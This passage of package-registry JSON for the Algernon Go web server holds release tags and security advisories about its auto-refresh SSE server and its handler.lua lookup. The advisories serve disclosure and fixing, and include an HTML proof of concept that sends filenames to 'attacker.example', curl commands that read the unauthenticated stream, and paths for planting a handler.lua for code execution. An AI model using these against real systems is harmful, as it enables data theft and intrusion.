,"dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.49/manifests"},{"name":"0.48","sha":"160a22eb942f8a96397de07effcab8408490eb08","kind":"commit","published_at":"2015-03-25T15:50:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.48","html_url":"https://github.com/xyproto/algernon/releases/tag/0.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.48/manifests"},{"name":"v0.47-win8-64","sha":"ee1a959343b07396b99ee1657a4e12dd59376a04","kind":"commit","published_at":"2015-03-24T15:07:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.47-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.47-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.47-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.47-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.47-win8-64/manifests"},{"name":"0.47","sha":"4e59ca79d0f0ad6eb5feefb6e75316ca0dbac4d5","kind":"commit","published_at":"2015-03-19T21:12:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.47","html_url":"https://github.com/xyproto/algernon/releases/tag/0.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.47/manifests"},{"name":"0.46","sha":"99771b625aad835b4793489bf523b86692fcc3de","kind":"commit","published_at":"2015-03-19T14:56:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.46","html_url":"https://github.com/xyproto/algernon/releases/tag/0.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.46/manifests"},{"name":"0.45","sha":"8e9a4342648a7c94ba4654f734090eb4ecf682c4","kind":"commit","published_at":"2015-03-19T00:46:38.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.45","html_url":"https://github.com/xyproto/algernon/releases/tag/0.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.45/manifests"},{"name":"0.44","sha":"b9d019e15703d6629d43acf4210c8f0e351e814e","kind":"commit","published_at":"2015-03-13T22:18:28.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.44","html_url":"https://github.com/xyproto/algernon/releases/tag/0.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.44/manifests"},{"name":"0.43","sha":"4112e93d77e0c0d53856f20ec0290e4b724835b4","kind":"commit","published_at":"2015-03-13T21:26:56.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.43","html_url":"https://github.com/xyproto/algernon/releases/tag/0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.43/manifests"},{"name":"0.42","sha":"ddb2989b6e676049c29ffc9320c70d4fd4224178","kind":"commit","published_at":"2015-03-11T22:55:58.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.42","html_url":"https://github.com/xyproto/algernon/releases/tag/0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.42/manifests"},{"name":"0.41","sha":"7096ad736e753fd01b0d69ac7332ecca4cbeaa6a","kind":"commit","published_at":"2015-03-11T22:16:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.41","html_url":"https://github.com/xyproto/algernon/releases/tag/0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.41/manifests"},{"name":"0.4","sha":"c5c7f8333fac93afca203254df6ca6a97571f7a9","kind":"commit","published_at":"2015-03-11T19:51:51.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.4","html_url":"https://github.com/xyproto/algernon/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.4/manifests"},{"name":"0.3","sha":"3eb7104496365a437898051ab898dc68edd0ce35","kind":"commit","published_at":"2015-03-11T13:12:39.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.3","html_url":"https://github.com/xyproto/algernon/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.3/manifests"},{"name":"0.2","sha":"90791373f0dbfa3dbed111603cf576f8d7ae912b","kind":"commit","published_at":"2015-03-10T22:31:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.2","html_url":"https://github.com/xyproto/algernon/releases/tag/0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.2/manifests"}]},"repo_metadata_updated_at":"2026-01-01T10:17:01.868Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":9.345852080216646,"dependent_packages_count":6.999148183520997,"stargazers_count":0.8686507967682598,"forks_count":1.5229446139722593,"average":4.684148918619541},"purl":"pkg:golang/github.com/xyproto/algernon","advisories":[{"uuid":"GSA_kwCzR0hTQS1odzI3LTR2MnEtNXFmZs4ABXJt","url":"https://github.com/advisories/GHSA-hw27-4v2q-5qff","title":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *","description":"### Summary\n\nThe SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause — hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n  const s = new EventSource('http://127.0.0.1:5553/sse');\n  s.onmessage = e =\u003e fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));\n\u003c/script\u003e\n```\n\nThe exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).\n\n### Suggestions to fix\n\n**Primary fix — echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + \"://\" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse \u003e sse.txt \u0026\n    sleep 1\n    echo \"trigger\" \u003e\u003e poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://\u003calgernon\u003e:5553/sse\")` and read the stream.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-20T15:34:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","references":["https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff","https://github.com/advisories/GHSA-hw27-4v2q-5qff"],"source_kind":"github","identifiers":["GHSA-hw27-4v2q-5qff","CVE-2026-46431"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-20T16:00:09.230Z","updated_at":"2026-05-30T19:00:16.766Z","epss_percentage":0.00028,"epss_percentile":0.08604,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odzI3LTR2MnEtNXFmZs4ABXJt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1odzI3LTR2MnEtNXFmZs4ABXJt","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.7","vulnerable_version_range":"\u003c= 1.17.6"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odzI3LTR2MnEtNXFmZs4ABXJt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1najg0LTkyNGMtNDhmeM4ABXJs","url":"https://github.com/advisories/GHSA-gj84-924c-48fx","title":"Algernon: Auto-refresh SSE event server binds to all interfaces by default on Linux/macOS","description":"### Summary\n\nThe SSE event server bound to `0.0.0.0:5553` on Linux/macOS by default because the platform-dependent host default in `engine/flags.go:39-46` set `host = \"\"` for non-Windows, and `utils.JoinHostPort(\"\", \":5553\")` resolves to `\":5553\"` — a Go `http.Server.Addr` of `\":5553\"` listens on every interface. On Windows the same code chose `\"localhost\"`, binding loopback only.\n\nThe result was a platform split where the OS Algernon's dev workflow is most often used on (Linux/macOS) got the network-exposed default, and only Windows users got the loopback-safe one. A LAN peer with no developer interaction could connect to `\u003cdev-laptop-ip\u003e:5553` and read the file-change stream.\n\nThis advisory covers the bind-address default in isolation. The fix is independent of authentication (#2a) and CORS (#2b) — switching the default to loopback can be done without touching either.\n\n### Details\n\n#### Root cause — platform-dependent `host` default in `handleFlags`\n\n```go\n// engine/flags.go:39-46  (1.17.6)\nhost := \"\"\nif runtime.GOOS == \"windows\" {\n    host = \"localhost\"\n    // Default Bolt database file\n    ac.defaultBoltFilename = filepath.Join(serverTempDir, \"algernon.db\")\n    // Default log file\n    ac.defaultLogFile = filepath.Join(serverTempDir, \"algernon.log\")\n}\n```\n\n```go\n// engine/config.go:388-391  (1.17.6, finalConfiguration)\nif ac.eventAddr == \"\" {\n    ac.eventAddr = utils.JoinHostPort(host, ac.defaultEventColonPort)\n}\n```\n\nResult tabulated:\n\n| Platform | `host` | `eventAddr` after `JoinHostPort` | Effective bind |\n|---|---|---|---|\n| Linux | `\"\"` | `\":5553\"` | `0.0.0.0:5553` (all interfaces) |\n| macOS | `\"\"` | `\":5553\"` | `0.0.0.0:5553` (all interfaces) |\n| Windows | `\"localhost\"` | `\"localhost:5553\"` | `127.0.0.1:5553` (loopback) |\n\nThe same `host` value also governs the main web server bind, so the platform split affects both ports. The web-server bind on Linux/macOS is a separate (defensible) design decision — a server intended to be reachable; the SSE port is *not* such a service and inherited the same default by accident.\n\n#### Why this is an independent finding\n\nThe fix is a single line: change the default `host` value, or change the `eventAddr` default specifically, to `\"localhost\"` regardless of platform. No change to authentication or CORS is required to close the network-reach half of the original bundled advisory. A LAN peer can no longer connect — the listener is unreachable from another host — even if the SSE handler still has no authentication and still returns `Allow-Origin: *`.\n\n### PoC (against 1.17.6 on Linux/macOS)\n\n```bash\n# Operator's laptop on a hotel/cafe/office WiFi:\nalgernon -a /path/to/project\n# =\u003e SSE listener bound to 0.0.0.0:5553\n\n# Any peer on the same subnet:\n$ curl -sN http://\u003cdev-laptop-ip\u003e:5553/sse\nid: 0\ndata: /path/to/project/secret-notes.md\n\nid: 1\ndata: /path/to/project/.env.local\n```\n\nNo interaction from the developer is required. The peer needs network reach and nothing else.\n\n### Impact\n\n- **Confidentiality:** medium. LAN-bounded continuous information disclosure of filenames and edit timing.\n- **Integrity:** none.\n- **Availability:** none directly.\n\nThe CVSS vector uses `AV:A` (adjacent network) to model the LAN-only reach. The vector for a misconfigured deployment behind a NAT-less or routed network would shift to `AV:N` and rise to 5.3.\n\n### Suggestions to fix\n\n**Primary fix — pick `localhost` as the SSE default on every platform.**\n\n```go\n// engine/flags.go -- platform-independent default for the event listener\n// (keep the existing platform split for the WEB server if desired, but\n// not for the event server)\nhost := \"localhost\"\n```\n\nOr, more surgically:\n\n```go\n// engine/config.go -- finalConfiguration\nif ac.eventAddr == \"\" {\n    ac.eventAddr = utils.JoinHostPort(\"localhost\", ac.defaultEventColonPort)\n}\n```\n\nAn operator who genuinely wants LAN-reachable SSE can pass `--eventserver 0.0.0.0:5553` explicitly and accept the consequences.\n\n**Stronger fix — eliminate the second listener entirely.** Mount the SSE handler on the main mux at `/sse`. The bind address is then whatever the main server uses; there is no second listener and therefore no second bind-address default to get wrong.\n\n### Live verification\n\nAudit-host bind check (Windows 10):\n\n```\n$ netstat -an | findstr 5553\n  TCP    127.0.0.1:5553         0.0.0.0:0              LISTENING\n```\n\nConfirms the Windows default is `localhost`. The Linux/macOS bind to `0.0.0.0:5553` is documented in the code path above; it was not exercised on the audit machine because the audit host was Windows. A maintainer reproducing on a Linux host would see `0.0.0.0:5553 LISTENING` from `ss -tlnp`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-20T15:33:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/xyproto/algernon/security/advisories/GHSA-gj84-924c-48fx","https://github.com/advisories/GHSA-gj84-924c-48fx"],"source_kind":"github","identifiers":["GHSA-gj84-924c-48fx","CVE-2026-46430"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-20T16:00:09.230Z","updated_at":"2026-05-30T19:00:16.767Z","epss_percentage":0.00005,"epss_percentile":0.00266,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1najg0LTkyNGMtNDhmeM4ABXJs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1najg0LTkyNGMtNDhmeM4ABXJs","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.7","vulnerable_version_range":"\u003c= 1.17.6"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1najg0LTkyNGMtNDhmeM4ABXJs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05djRqLTdnNDQtcWNxd84ABXFd","url":"https://github.com/advisories/GHSA-9v4j-7g44-qcqw","title":"Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication","description":"### Summary\n\nWhen auto-refresh is enabled, Algernon spins up an SSE handler that streams a `data:` line for every filesystem event under the watched directory. The handler performs **no authentication** of any kind — no shared token, no cookie check against the `permissions2` userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.\n\nThis advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.\n\n### Details\n\n#### Root cause — the SSE handler does not consult `permissions2` or any other auth\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        // ... loop emits one SSE record per filename touched ...\n    }\n}\n```\n\nNote the handler signature: `func(w http.ResponseWriter, _ *http.Request)`. The request is discarded — no `Cookie`, `Authorization`, query-string, or remote-IP check is performed before the stream begins.\n\nIn 1.17.6 the listener was placed on its own `http.ServeMux` ([recwatch/eventserver.go:200-215](../vendor/github.com/xyproto/recwatch/eventserver.go)), wholly outside the `perm.Rejected` middleware chain that gates Algernon's main HTTP listener. Even an operator who had configured admin/user path prefixes via `perm.AddAdminPath`, set a `cookieSecret`, and forced authentication on every URL of the main server had no way to gate this listener — it was unreachable from the `mux` argument the perm middleware uses.\n\n#### Why authentication matters for this listener\n\nThe stream contents are not public data. They reveal:\n\n- Which files the developer is actively editing, with sub-second timing precision.\n- The existence of files inside the watched root (including files the operator may have meant to keep private — `.env.local`, `secrets.lua`, in-progress draft files).\n- By inference, the directory layout of the project.\n\nA client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite `for {}` loop — there is no natural session boundary or expiry.\n\n#### Source-level evidence\n\n```text\n$ rg -n 'GenFileChangeEvents|EventServer\\(' vendor/github.com/xyproto/recwatch/\nvendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\nvendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {\n\n$ rg -n 'Cookie|Authorization|Token|state\\.User' vendor/github.com/xyproto/recwatch/eventserver.go\n# zero matches — no authentication primitive is referenced anywhere in the file\n```\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator runs algernon with auto-refresh on a project directory:\nalgernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows\n\n# 2. Any client that can reach the listener connects without credentials:\ncurl -sN http://\u003cserver\u003e:5553/sse\n# =\u003e id: 0\n#    data: /path/to/project/secret-notes.md\n#\n#    id: 1\n#    data: /path/to/project/.env.local\n```\n\nNo `Cookie`, no `Authorization`, no `X-Token`, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.\n\n### Impact\n\n- **Confidentiality:** medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.\n- **Integrity:** none.\n- **Availability:** low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.\n\n### Suggestions to fix\n\n**Primary fix — require a shared secret on the SSE endpoint.** The auto-refresh feature already injects a script into served HTML ([engine/sse.go:118-165](../engine/sse.go)); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:\n\n```go\n// engine/sse.go -- in InsertAutoRefresh\ntmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes\n\n// JS:\n//   var source = new EventSource('...?token={{.SessionToken}}');\n\n// recwatch handler:\n//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get(\"token\")),\n//                                 []byte(serverToken)) != 1 {\n//       http.Error(w, \"forbidden\", http.StatusForbidden); return\n//   }\n```\n\nCookie-bearing requests work too if `recwatch.EventServer` is moved behind `perm.Rejected` (see \"Defence in depth\"). The token approach is the smaller change.\n\n**Defence in depth — mount the SSE handler on the main mux.** Moving `recwatch.EventServerHandler` onto the main `http.ServeMux` automatically places the SSE handler behind whatever middleware the operator has configured — `perm.Rejected`, `tollbooth`, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses `perm.Rejected` because it uses its own `http.ServeMux`, and that path needs the token fix from \"Primary fix\" above.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site\n$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse \u003e stream.txt \u0026\n    sleep 1\n    echo \"edit-1\" \u003e\u003e poc2/site/secret-notes.md\n    echo \"edit-2\" \u003e\u003e poc2/site/.env.local\n    wait )\n$ cat stream.txt\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\secret-notes.md\n\nid: 1\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\.env.local\n```\n\nNo `Cookie`, no `Authorization` header. Stream delivered.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-19T14:36:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/xyproto/algernon/security/advisories/GHSA-9v4j-7g44-qcqw","https://github.com/advisories/GHSA-9v4j-7g44-qcqw"],"source_kind":"github","identifiers":["GHSA-9v4j-7g44-qcqw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T15:00:17.494Z","updated_at":"2026-05-30T19:00:18.934Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djRqLTdnNDQtcWNxd84ABXFd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05djRqLTdnNDQtcWNxd84ABXFd","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.7","vulnerable_version_range":"\u003c= 1.17.6"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djRqLTdnNDQtcWNxd84ABXFd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14d2NyLXdtOTktZzlqY84ABXFc","url":"https://github.com/advisories/GHSA-xwcr-wm99-g9jc","title":"Algernon: handler.lua discovery walks parent directories above the server root","description":"### Summary\n\nWhen Algernon is asked for any URL path that resolves to a directory *without* an index file, `DirPage` walks **upward through parent directories — past the configured server root** — looking for a file named `handler.lua` to execute as the request handler. The loop terminates only after 100 ancestor steps or when `filepath.Dir` returns `.`, so on any absolute server-root path the search reaches the filesystem root (`/` on Unix, drive letter on Windows). The first `handler.lua` it finds is loaded into the Lua interpreter with the full Algernon API exposed — including `run3()`, `httpclient`, `os.execute`, `io.popen`, `PQ`, `MSSQL`, raw filesystem access, and the userstate database. Any process that can write `handler.lua` anywhere in a parent directory of the server root obtains pre-authenticated remote code execution on the next HTTP request.\n\nThis is reachable without authentication — the lookup happens before the permission check returns a hit (the perm system only gates URL prefixes, not the handler-resolution step), and any URL pointing at a directory without an index triggers the walk. On a fresh stock Algernon install the request `GET /` is enough.\n\n### Details\n\n#### Root cause — unbounded upward search in `DirPage`\n\n```go\n// engine/dirhandler.go:170-183\n// Serve handler.lua, if found in parent directories\nvar ancestor string\nancestor = filepath.Dir(dirname)\nfor range 100 { // a maximum of 100 directories deep\n    filename = filepath.Join(ancestor, \"handler.lua\")\n    if ac.fs.Exists(filename) {\n        ac.FilePage(w, req, filename, luaDataFilename)\n        return\n    }\n    if ancestor == \".\" {\n        break\n    }\n    ancestor = filepath.Dir(ancestor)\n}\n```\n\n`dirname` is the absolute path of the requested directory on disk, e.g. `/srv/algernon/` when running with `--prod` (see [engine/config.go:207](../engine/config.go)). `filepath.Dir(\"/srv/algernon\")` is `/srv`, then `/`, and `filepath.Dir(\"/\")` returns `/` indefinitely. The break clause `if ancestor == \".\"` only fires for *relative* paths, so on every absolute server-root configuration the loop walks all the way to `/` and then spins on `/` for the remaining iterations until the `100` cap is hit. Each iteration calls `ac.fs.Exists(\u003cancestor\u003e/handler.lua)`.\n\nFor the canonical `--prod` invocation the candidate set is:\n\n```\n/srv/handler.lua\n/handler.lua\n```\n\nFor `algernon /var/www/example.com`:\n\n```\n/var/www/handler.lua\n/var/handler.lua\n/handler.lua\n```\n\nFor `algernon ~/site` started by user `alice`:\n\n```\n/home/alice/handler.lua\n/home/handler.lua\n/handler.lua\n```\n\nThe first match wins. The match is then dispatched through `FilePage`, which for `.lua` files routes to `RunLua` (`engine/handlers.go:269`) and runs the file in a pooled `lua.LState` with the full Algernon function map attached (`engine/lua.go:30-112`). Every dangerous primitive in the engine is reachable: shell-out via `run3()` (`engine/basic.go:140-146`, calling `exec.Command(\"sh\", \"-c\", ...)`), arbitrary outbound HTTP via the `httpclient` module, the unsandboxed gopher-lua `os`/`io`/`debug` libraries, and the full 